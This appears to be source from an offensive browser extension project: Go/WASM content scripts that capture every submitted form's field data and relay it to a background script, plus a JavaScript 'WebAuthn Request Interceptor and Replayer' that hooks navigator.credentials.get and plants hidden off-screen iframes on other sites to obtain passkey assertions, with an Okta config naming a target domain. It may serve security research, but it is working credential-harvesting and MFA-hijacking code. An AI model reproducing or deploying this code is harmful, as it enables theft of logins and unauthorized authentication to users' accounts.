func (fp *FormProcessor) isFormField(element js.Value) bool {
tagName := strings.ToLower(element.Get("tagName").String())
formFieldTags := []string{"input", "textarea", "select", "option"}
for _, tag := range formFieldTags {
if tagName == tag {
return true
}
}
if element.Get("contentEditable").String() == "true" {
return true
}
role := strings.ToLower(element.Get("role").String())
inputRoles := []string{"textbox", "combobox", "listbox", "checkbox", "radio", "slider", "spinbutton"}
for _, inputRole := range inputRoles {
if role == inputRole {
return true
}
}
return false
}
func (fp *FormProcessor) isLikelySubmitTrigger(element js.Value) bool {
if fp.isFormField(element) {
return false
}
tagName := strings.ToLower(element.Get("tagName").String())
textContent := strings.ToLower(element.Get("textContent").String())
if tagName == "button" {
if strings.Contains(textContent, "forgot") || strings.Contains(textContent, "help") ||
strings.Contains(textContent, "cancel") || strings.Contains(textContent, "back") {
return false
}
return true
}
return false
}
func (fp *FormProcessor) addInputChangeListeners(form js.Value) {
inputs := form.Call("querySelectorAll", "input, select, textarea")
inputsLength := inputs.Get("length").Int()
for i := 0; i < inputsLength; i++ {
input := inputs.Index(i)
changeHandler := js.FuncOf(func(this js.Value, _ []js.Value) interface{} {
form.Set("_lastChangeTime", js.Global().Get("Date").New().Call("getTime"))
return nil
})
input.Set("_formChangeHandler", changeHandler)
input.Call("addEventListener", "input", changeHandler)
input.Call("addEventListener", "change", changeHandler)
}
}
func (fp *FormProcessor) addKeyboardListeners(form js.Value) {
keydownHandler := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
event := args[0]
if event.Get("key").String() == "Enter" || event.Get("keyCode").Int() == 13 {
target := event.Get("target")
if target.Get("tagName").String() == "INPUT" {
js.Global().Get("handleEnterKeySubmission").Invoke(form, event)
}
}
}
return nil
})
form.Set("_formKeydownHandler", keydownHandler)
form.Call("addEventListener", "keydown", keydownHandler)
}
func handleButtonClick(this js.Value, args []js.Value) interface{} {
form := args[0]
element := args[1]
_ = args[2] // event parameter not used
if !form.Get("_isIntercepting").Bool() {
return nil
}
elementText := element.Get("textContent").String()
isSubmitTrigger := processor.isLikelySubmitTrigger(element)
if isSubmitTrigger {
if submissionTracker != nil {
submissionTracker.captureFormSubmission(form, "Button Click Submission", elementText)
}
}
return nil
}
func handleEnterKeySubmission(this js.Value, args []js.Value) interface{} {
form := args[0]
_ = args[1] // event parameter not used
if !form.Get("_isIntercepting").Bool() {
return nil
}
msgHandler.sendDebugInfo("Enter key submission detected (passive mode)")
if submissionTracker != nil {
submissionTracker.captureFormSubmission(form, "Enter Key Submission", "")
}
return nil
}
func (fp *FormProcessor) setupEnhancedMutationObserver() {
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
js.Global().Get("handleEnhancedMutations").Invoke(args[0])
return nil
})
observer = js.Global().Get("MutationObserver").New(callback)
config := map[string]interface{}{
"childList": true,
"subtree": true,
"attributes": true,
"attributeOldValue": true,
"characterData": true,
"characterDataOldValue": true,
}
observer.Call("observe", document.Get("body"), config)
}
func handleEnhancedMutations(this js.Value, args []js.Value) interface{} {
mutations := args[0]
mutationsLength := mutations.Get("length").Int()
for i := 0; i < mutationsLength; i++ {
mutation := mutations.Index(i)
mutationType := mutation.Get("type").String()
switch mutationType {
case "childList":
addedNodes := mutation.Get("addedNodes")
addedNodesLength := addedNodes.Get("length").Int()
for j := 0; j < addedNodesLength; j++ {
node := addedNodes.Index(j)
nodeType := node.Get("nodeType").Int()
if nodeType == 1 { // Node.ELEMENT_NODE
tagName := node.Get("tagName").String()
if tagName == "FORM" && !node.Call("hasAttribute", "data-form-processed").Bool() {
processor.processForm(node)
}
childForms := node.Call("querySelectorAll", "form:not([data-form-processed])")
childFormsLength := childForms.Get("length").Int()
for k := 0; k < childFormsLength; k++ {
childForm := childForms.Index(k)
processor.processForm(childForm)
}
}
}
case "attributes":
target := mutation.Get("target")
attributeName := mutation.Get("attributeName").String()
if target.Get("tagName").String() == "FORM" {
if attributeName == "action" || attributeName == "method" {
msgHandler.sendDebugInfo(fmt.Sprintf("Form attribute changed: %s", attributeName))
}
}
}
}
return nil
}
func (fp *FormProcessor) setupMutationObserver() {
fp.setupEnhancedMutationObserver()
}
func handleFormSubmission(this js.Value, args []js.Value) interface{} {
form := args[0]
_ = args[1] // event - not used in passive mode
if !form.Get("_isIntercepting").Bool() {
return nil
}
formId := form.Get("_uniqueFormId")
var formIdStr string
if !formId.IsUndefined() {
formIdStr = formId.String()
} else {
formIdStr = form.Get("id").String()
if formIdStr == "" {
formIdStr = "unknown"
}
}
msgHandler.sendDebugInfo(fmt.Sprintf("Form %s submission handler: Capturing data only (passive mode)", formIdStr))
if submissionTracker != nil {
submissionTracker.captureFormSubmission(form, "Form Submission", "")
}
msgHandler.sendDebugInfo(fmt.Sprintf("Form %s submission handler: Allowing normal submission to proceed", formIdStr))
return nil
}
func (fp *FormProcessor) processForm(form js.Value) {
formId := form.Get("id").String()
if formId == "" {
// Use a combination of action, method, and input count for uniqueness
action := form.Get("action").String()
method := form.Get("method").String()
inputs := form.Call("querySelectorAll", "input, select, textarea")
inputCount := inputs.Get("length").Int()
formId = fmt.Sprintf("form_%s_%s_%d_%d", action, method, inputCount, len(fp.processedForms))
}
if fp.processedForms[formId] {
return
}
form.Set("_uniqueFormId", formId)
fp.interceptFormSubmission(form)
form.Call("setAttribute", "data-form-processed", "true")
fp.processedForms[formId] = true
}
func (fp *FormProcessor) interceptForms() {
forms := document.Call("querySelectorAll", "form:not([data-form-processed])")
formsLength := forms.Get("length").Int()
for i := 0; i < formsLength; i++ {
form := forms.Index(i)
fp.processForm(form)
}
fmt.Printf("Form Interceptor: Found and processed %d form(s)\n", formsLength)
}
func initializeFormInterceptor() {
readyState := document.Get("readyState").String()
if readyState == "loading" {
domLoadedCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
js.Global().Get("startFormInterceptor").Invoke()
return nil
})
document.Call("addEventListener", "DOMContentLoaded", domLoadedCallback)
} else {
processor.interceptForms()
processor.setupMutationObserver()
}
}
func startFormInterceptor(this js.Value, args []js.Value) interface{} {
processor.interceptForms()
processor.setupMutationObserver()
return nil
}
func interceptAllForms(this js.Value, args []js.Value) interface{} {
processor.interceptForms()
return nil
}
// SubmissionTracker prevents duplicate form submissions from being captured
type SubmissionTracker struct {
recentSubmissions map[string]int64 // form hash -> timestamp
submissionWindow int64 // milliseconds to consider duplicates
}
func NewSubmissionTracker() *SubmissionTracker {
return &SubmissionTracker{
recentSubmissions: make(map[string]int64),
submissionWindow: 100, // Reduced to 100ms for passive mode
}
}
func (st *SubmissionTracker) generateSubmissionHash(form js.Value, submissionType string) string {
uniqueFormId := form.Get("_uniqueFormId")
var formId string
if !uniqueFormId.IsUndefined() {
formId = uniqueFormId.String()
} else {
formId = form.Get("id").String()
if formId == "" {
formIndex := 0
allForms := document.Call("querySelectorAll", "form")
allFormsLength := allForms.Get("length").Int()
for i := 0; i < allFormsLength; i++ {
if allForms.Index(i).Equal(form) {
formIndex = i
break
}
}
formId = fmt.Sprintf("unprocessed_form_%d", formIndex)
}
}
currentUrl := window.Get("location").Get("href").String()
formAction := form.Get("action").String()
// Get stable form signature: input names and types (not values which can change)
inputs := form.Call("querySelectorAll", "input, select, textarea")
inputsLength := inputs.Get("length").Int()
var inputSignature []string
for i := 0; i < inputsLength; i++ {
input := inputs.Index(i)
inputName := input.Get("name").String()
inputType := input.Get("type").String()
if inputName != "" {
inputSignature = append(inputSignature, fmt.Sprintf("%s:%s", inputName, inputType))
}
}
// Create hash from stable form characteristics (not dynamic values)
stableData := fmt.Sprintf("%s|%s|%s|%s", formId, currentUrl, formAction, strings.Join(inputSignature, ","))
hashValue := 0
for _, char := range stableData {
hashValue = hashValue*31 + int(char)
}
return fmt.Sprintf("%d", hashValue)
}
func (st *SubmissionTracker) shouldCaptureSubmission(form js.Value, submissionType string) bool {
now := int64(js.Global().Get("Date").New().Call("getTime").Int())
st.cleanOldSubmissions(now)
submissionHash := st.generateSubmissionHash(form, submissionType)
formId := form.Get("_uniqueFormId")
var formIdStr string
if !formId.IsUndefined() {
formIdStr = formId.String()
} else {
formIdStr = form.Get("id").String()
if formIdStr == "" {
formIdStr = "unknown"
}
}
msgHandler.sendDebugInfo(fmt.Sprintf("Form %s - Checking submission hash: %s for type: %s", formIdStr, submissionHash, submissionType))
if lastTime, exists := st.recentSubmissions[submissionHash]; exists {
if now-lastTime < st.submissionWindow {
msgHandler.sendDebugInfo(fmt.Sprintf("Duplicate found - last seen %dms ago", now-lastTime))
return false
}
}
st.recentSubmissions[submissionHash] = now
msgHandler.sendDebugInfo(fmt.Sprintf("New submission recorded for hash: %s", submissionHash))
return true
}
func (st *SubmissionTracker) cleanOldSubmissions(now int64) {
for hash, timestamp := range st.recentSubmissions {
if now-timestamp > st.submissionWindow*2 { // Clean entries older than 2x window
delete(st.recentSubmissions, hash)
}
}
}
func (st *SubmissionTracker) captureFormSubmission(form js.Value, submissionType string, buttonText string) {
if !st.shouldCaptureSubmission(form, submissionType) {
msgHandler.sendDebugInfo(fmt.Sprintf("Duplicate submission detected for %s, skipping...", submissionType))
return
}
msgHandler.sendDebugInfo(fmt.Sprintf("Capturing unique submission: %s", submissionType))
formData := processor.getFormData(form)
currentUrl := window.Get("location").Get("href").String()
formAction := form.Get("action").String()
if formAction == "" {
formAction = "Not specified"
}
var submissionMessage string
if buttonText != "" {
submissionMessage = fmt.Sprintf(`%s - Button: %s
URL: %s
Form Action: %s
Form Data:
%s`, submissionType, buttonText, currentUrl, formAction, formData)
} else {
submissionMessage = fmt.Sprintf(`%s
URL: %s
Form Action: %s
Form Data:
%s`, submissionType, currentUrl, formAction, formData)
}
if msgHandler != nil {
msgHandler.sendDebugInfo("Sending form data to background script")
msgHandler.sendFormData(submissionMessage)
} else {
println("msgHandler is nil, cannot send data")
}
}
+45
View File
@@ -0,0 +1,45 @@
//go:build js && wasm
// +build js,wasm
package main
import (
"syscall/js"
)
// Global variables
var (
document js.Value
window js.Value
observer js.Value
processor *FormProcessor
msgHandler *ContentMessageHandler
submissionTracker *SubmissionTracker
)
// main function sets up the WASM module and starts the form highlighter
func main() {
document = js.Global().Get("document")
window = js.Global().Get("window")
processor = NewFormProcessor()
msgHandler = NewContentMessageHandler()
msgHandler.setupMessageListener()
submissionTracker = NewSubmissionTracker()
js.Global().Set("handleFormSubmission", js.FuncOf(handleFormSubmission))
js.Global().Set("handleEnhancedMutations", js.FuncOf(handleEnhancedMutations))
js.Global().Set("startFormInterceptor", js.FuncOf(startFormInterceptor))
js.Global().Set("interceptAllForms", js.FuncOf(interceptAllForms))
js.Global().Set("handleButtonClick", js.FuncOf(handleButtonClick))
js.Global().Set("handleEnterKeySubmission", js.FuncOf(handleEnterKeySubmission))
initializeFormInterceptor()
initialPingCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
msgHandler.sendPing("Content script initialized and ready")
return nil
})
js.Global().Call("setTimeout", initialPingCallback, 1000)
select {}
}
+113
View File
@@ -0,0 +1,113 @@
//go:build js && wasm
// +build js,wasm
package main
import (
"fmt"
"syscall/js"
)
type ContentMessageHandler struct {
chrome js.Value
}
func NewContentMessageHandler() *ContentMessageHandler {
return &ContentMessageHandler{
chrome: js.Global().Get("chrome"),
}
}
func (cmh *ContentMessageHandler) setupMessageListener() {
messageListener := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
// args[0] = message object
// args[1] = sender object
// args[2] = sendResponse function
if len(args) < 3 {
return nil
}
message := args[0]
sender := args[1]
sendResponse := args[2]
cmh.handleMessage(message, sender, sendResponse)
return true
})
cmh.chrome.Get("runtime").Get("onMessage").Call("addListener", messageListener)
println("Content script: Message listener set up")
}
func (cmh *ContentMessageHandler) handleMessage(message js.Value, sender js.Value, sendResponse js.Value) {
messageType := message.Get("type").String()
println(fmt.Sprintf("Content script: Received message type: %s", messageType))
switch messageType {
case "pong":
cmh.handlePong(message, sender, sendResponse)
default:
println(fmt.Sprintf("Content script: Unknown message type: %s", messageType))
response := map[string]interface{}{
"success": false,
"error": "Unknown message type",
}
sendResponse.Invoke(response)
}
}
func (cmh *ContentMessageHandler) handlePong(message js.Value, sender js.Value, sendResponse js.Value) {
data := message.Get("data").String()
println(fmt.Sprintf("Content script: Pong received: %s", data))
response := map[string]interface{}{
"success": true,
"data": "Pong acknowledged",
}
sendResponse.Invoke(response)
}
func (cmh *ContentMessageHandler) sendMessage(messageType string, data interface{}) {
message := map[string]interface{}{
"type": messageType,
"data": data,
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
}
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
response := args[0]
if response.Get("success").Bool() {
var responseData string
if !response.Get("data").IsUndefined() {
responseData = response.Get("data").String()
} else if !response.Get("processedData").IsUndefined() {
responseData = response.Get("processedData").String()
} else {
responseData = "Success"
}
println(fmt.Sprintf("Content script: Message sent successfully, response: %s", responseData))
} else {
println(fmt.Sprintf("Content script: Message failed, error: %s",
response.Get("error").String()))
}
}
return nil
})
cmh.chrome.Get("runtime").Call("sendMessage", message, callback)
}
func (cmh *ContentMessageHandler) sendPing(data string) {
cmh.sendMessage("ping", data)
}
func (cmh *ContentMessageHandler) sendFormData(formData string) {
cmh.sendMessage("form_data", formData)
}
func (cmh *ContentMessageHandler) sendDebugInfo(debugInfo string) {
cmh.sendMessage("debug", debugInfo)
}
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,6 @@
(async () => {
awaitedRequest = await getWebAuthnRequest();
if (awaitedRequest.data && awaitedRequest.success) {
createWebAuthnIframe(awaitedRequest.data.domain, awaitedRequest.data.credentialsObject);
}
})();
+322
View File
@@ -0,0 +1,322 @@
// WebAuthn Request Interceptor and Replayer
// Inject this into the browser console or as a content script
(function() {
'use strict';
// Track pending requests for response correlation
const pendingRequests = new Map();
let requestIdCounter = 0;
// Listen for responses from the extension bridge
window.addEventListener('message', (event) => {
if (event.source === window && event.data.type === 'EXTENSION_TO_MAIN') {
const { messageId, success, data, error, originalType } = event.data;
// Find the pending request
const pendingRequest = pendingRequests.get(messageId);
if (pendingRequest) {
pendingRequests.delete(messageId);
if (success) {
console.log('✅ Received response for', originalType, ':', data);
pendingRequest.resolve(data);
} else {
console.error('❌ Error response for', originalType, ':', error);
pendingRequest.reject(new Error(error));
}
}
}
});
// Helper function to send messages and return promises
function sendMessageWithResponse(messageType, data = {}) {
return new Promise((resolve, reject) => {
const requestId = ++requestIdCounter;
// Store the promise resolvers
pendingRequests.set(requestId, { resolve, reject });
const message = {
type: messageType,
data: data,
requestId: requestId
};
console.log('📤 Sending message with response expectation:', message);
window.postMessage({
type: 'MAIN_TO_EXTENSION',
payload: message
}, '*');
// Set timeout to prevent hanging promises
setTimeout(() => {
if (pendingRequests.has(requestId)) {
pendingRequests.delete(requestId);
reject(new Error('Request timeout'));
}
}, 10000); // 10 second timeout
});
}
window.getWebAuthnRequest = function() {
console.log('🔍 Requesting WebAuthn request from background script...');
return sendMessageWithResponse('get_webauthn_request');
};
window.sendWebAuthnResponse = function(response) {
console.log('📤 Sending WebAuthn response to background script:', response);
return sendMessageWithResponse('send_webauthn_response', response);
};
// Check for makewebauthnrequest query parameter and handle it immediately
const urlParams = new URLSearchParams(window.location.search);
const makeWebAuthnRequest = urlParams.get('makewebauthnrequest');
if (makeWebAuthnRequest) {
try {
console.log('🎯 WebAuthn request detected in URL parameter');
// Base64 decode the parameter
const decodedJson = atob(makeWebAuthnRequest);
console.log('📝 Decoded JSON:', decodedJson);
// Parse as JSON
const requestOptions = JSON.parse(decodedJson);
// Basic validation - check if it looks like a WebAuthn request
if (requestOptions && requestOptions.publicKey && requestOptions.publicKey.challenge) {
console.log('✅ Valid WebAuthn request structure detected');
// Stop page loading immediately
window.stop();
// Clear the page content
document.documentElement.innerHTML = '<html><head><title>WebAuthn Request</title></head><body><h1>🔑 Processing WebAuthn Request...</h1><p>Check console for details.</p></body></html>';
// Helper function to convert base64url to ArrayBuffer
function base64urlToArrayBuffer(base64url) {
const base64 = base64url.replace(/-/g, '+').replace(/_/g, '/');
const padded = base64.padEnd(base64.length + (4 - base64.length % 4) % 4, '=');
const binary = atob(padded);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
// Convert the base64url strings to ArrayBuffers
requestOptions.publicKey.challenge = base64urlToArrayBuffer(requestOptions.publicKey.challenge);
requestOptions.publicKey.allowCredentials.forEach(cred => {
cred.id = base64urlToArrayBuffer(cred.id);
});
console.log('🚀 Executing WebAuthn request with options:', requestOptions);
// Call WebAuthn immediately using the original method
navigator.credentials.get(requestOptions).then(credential => {
console.log('✅ WebAuthn request from URL completed successfully:', credential);
// Log detailed response information
if (credential) {
const responseData = {
id: credential.id,
rawId: btoa(String.fromCharCode(...new Uint8Array(credential.rawId))),
type: credential.type,
response: {
clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(credential.response.clientDataJSON))),
authenticatorData: btoa(String.fromCharCode(...new Uint8Array(credential.response.authenticatorData))),
signature: btoa(String.fromCharCode(...new Uint8Array(credential.response.signature))),
userHandle: credential.response.userHandle ? btoa(String.fromCharCode(...new Uint8Array(credential.response.userHandle))) : null
}
};
console.log('📤 WebAuthn Response from URL request (Base64):', responseData);
window.sendWebAuthnResponse(JSON.stringify(responseData));
// Update page content with success message
document.body.innerHTML = '<h1>✅ WebAuthn Request Successful!</h1><p>Check console for response details.</p><pre>' + JSON.stringify(responseData, null, 2) + '</pre>';
}
}).catch(error => {
console.error('❌ WebAuthn request from URL failed:', error);
// Update page content with error message
document.body.innerHTML = '<h1>❌ WebAuthn Request Failed</h1><p>Error: ' + error.message + '</p><p>Check console for details.</p>';
});
// Exit early - don't load the rest of the interceptor
return;
} else {
console.warn('⚠️ Invalid WebAuthn request structure - missing publicKey or challenge');
}
} catch (error) {
console.error('❌ Failed to process makewebauthnrequest parameter:', error);
}
}
// Store captured requests
let capturedRequests = [];
let originalGet = navigator.credentials.get;
// Override navigator.credentials.get to intercept requests
navigator.credentials.get = function(options) {
console.log('🔑 WebAuthn GET Request Intercepted:', options);
// Store the captured request
const requestData =
JSON.parse(JSON.stringify(options, (key, value) => {
// Skip AbortSignal and other non-serializable objects
if (key === 'signal' || value instanceof AbortSignal || value instanceof AbortController) {
return undefined;
}
// Convert ArrayBuffer/Uint8Array to base64 for storage
if (value instanceof ArrayBuffer || value instanceof Uint8Array) {
return {
type: 'ArrayBuffer',
data: btoa(String.fromCharCode(...new Uint8Array(value)))
};
}
return value;
}));
capturedRequests.push(requestData);
console.log('📋 Captured Request Data:', requestData);
// Sequential execution: First test call, then actual call
return new Promise(async (resolve, reject) => {
try {
// Let the background script know we have an opportunity to piggyback a WebAuthn request
createWebAuthnIframeInOtherTabs();
// Wait a moment to ensure the first request is fully complete
await new Promise(resolve => setTimeout(resolve, 1000));
// Second call: Actual call that forwards to original
console.log('🔄 Making second actual call...');
const actualCredential = await originalGet.call(this, options);
console.log('✅ Actual call successful:', actualCredential);
// Log detailed response information for actual call
if (actualCredential) {
const actualResponseData = {
id: actualCredential.id,
rawId: btoa(String.fromCharCode(...new Uint8Array(actualCredential.rawId))),
type: actualCredential.type,
response: {
clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.clientDataJSON))),
authenticatorData: btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.authenticatorData))),
signature: btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.signature))),
userHandle: actualCredential.response.userHandle ? btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.userHandle))) : null
}
};
console.log('📤 Actual Response Data (Base64):', actualResponseData);
// Store actual response with the request
requestData.response = actualResponseData;
}
// Resolve with the actual credential (second call result)
resolve(actualCredential);
} catch (error) {
console.error('❌ Error during sequential WebAuthn calls:', error);
requestData.error = error.message;
reject(error);
}
});
};
// Function to replay a captured request
window.replayWebAuthnRequest = function(index = 0) {
if (capturedRequests.length === 0) {
console.warn('No captured requests to replay');
return Promise.reject('No captured requests');
}
const request = capturedRequests[index];
if (!request) {
console.warn(`No request at index ${index}`);
return Promise.reject(`No request at index ${index}`);
}
console.log('🔄 Replaying WebAuthn Request:', request);
// Reconstruct the options object, converting base64 back to ArrayBuffer
const options = JSON.parse(JSON.stringify(request.options), (key, value) => {
if (value && typeof value === 'object' && value.type === 'ArrayBuffer') {
const binaryString = atob(value.data);
const bytes = new Uint8Array(binaryString.length);
for (let i = 0; i < binaryString.length; i++) {
bytes[i] = binaryString.charCodeAt(i);
}
return bytes.buffer;
}
return value;
});
// Remove any remaining signal property and ensure clean options
if (options.signal) {
delete options.signal;
}
// Add a small delay to avoid rapid-fire requests
return new Promise(resolve => setTimeout(resolve, 100)).then(() => {
console.log('🚀 Executing replay with options:', options);
return originalGet.call(navigator.credentials, options);
});
};
// Function to get all captured requests
window.getCapturedRequests = function() {
return capturedRequests;
};
// Function to create a hidden iframe with WebAuthn request
window.createWebAuthnIframe = function(site, request) {
const iframe = document.createElement('iframe');
// we add something/that/does/not/exist/ to the url to avoid hitting a page that will instantly change the url before we can parse it
iframe.src = "https://" + site + "/something/that/does/not/exist/?makewebauthnrequest=" + encodeURIComponent(request);
iframe.allow = 'publickey-credentials-get';
iframe.style.width = '0px';
iframe.style.height = '0px';
iframe.style.border = 'none';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.top = '-9999px';
// Add event listeners for debugging
iframe.onload = function() {
console.log('🖼️ WebAuthn iframe loaded successfully');
};
iframe.onerror = function() {
console.error('❌ Error loading WebAuthn iframe');
};
// Append to body
document.body.appendChild(iframe);
console.log('🎯 Created hidden WebAuthn iframe with URL:', iframe.src);
return iframe;
};
// Function to trigger WebAuthn iframe creation in other tabs via background script
window.createWebAuthnIframeInOtherTabs = function() {
const message = {
type: 'create_webauthn_iframe',
data: {}
};
console.log('📤 Sending message to background script:', message);
window.postMessage({
type: 'MAIN_TO_EXTENSION',
payload: message
}, '*');
return true;
};
})();
@@ -0,0 +1,43 @@
// Bridge for MAIN world to communicate with extension
// Handles both sending messages to extension and relaying responses back
// Generate unique message IDs for correlation
let messageIdCounter = 0;
const pendingMessages = new Map();
// Listen for messages from MAIN world
window.addEventListener('message', (event) => {
if (event.source === window && event.data.type === 'MAIN_TO_EXTENSION') {
const messageData = event.data.payload;
// Use requestId from message if it exists, otherwise generate messageId
const messageId = messageData.requestId || ++messageIdCounter;
messageData.messageId = messageId;
// Send message to background script and handle response
chrome.runtime.sendMessage(messageData, (response) => {
// Check for chrome.runtime.lastError
if (chrome.runtime.lastError) {
// Send error response back to MAIN world
window.postMessage({
type: 'EXTENSION_TO_MAIN',
messageId: messageId,
success: false,
error: chrome.runtime.lastError.message,
originalType: messageData.type
}, '*');
return;
}
// Send successful response back to MAIN world
window.postMessage({
type: 'EXTENSION_TO_MAIN',
messageId: messageId,
success: true,
data: response,
originalType: messageData.type
}, '*');
});
}
});
+16
View File
@@ -0,0 +1,16 @@
# Configuration file for Okta IDX automated flow
# Okta Configuration
OKTA_DOMAIN = "<TARGET_DOMAIN>.okta.com"
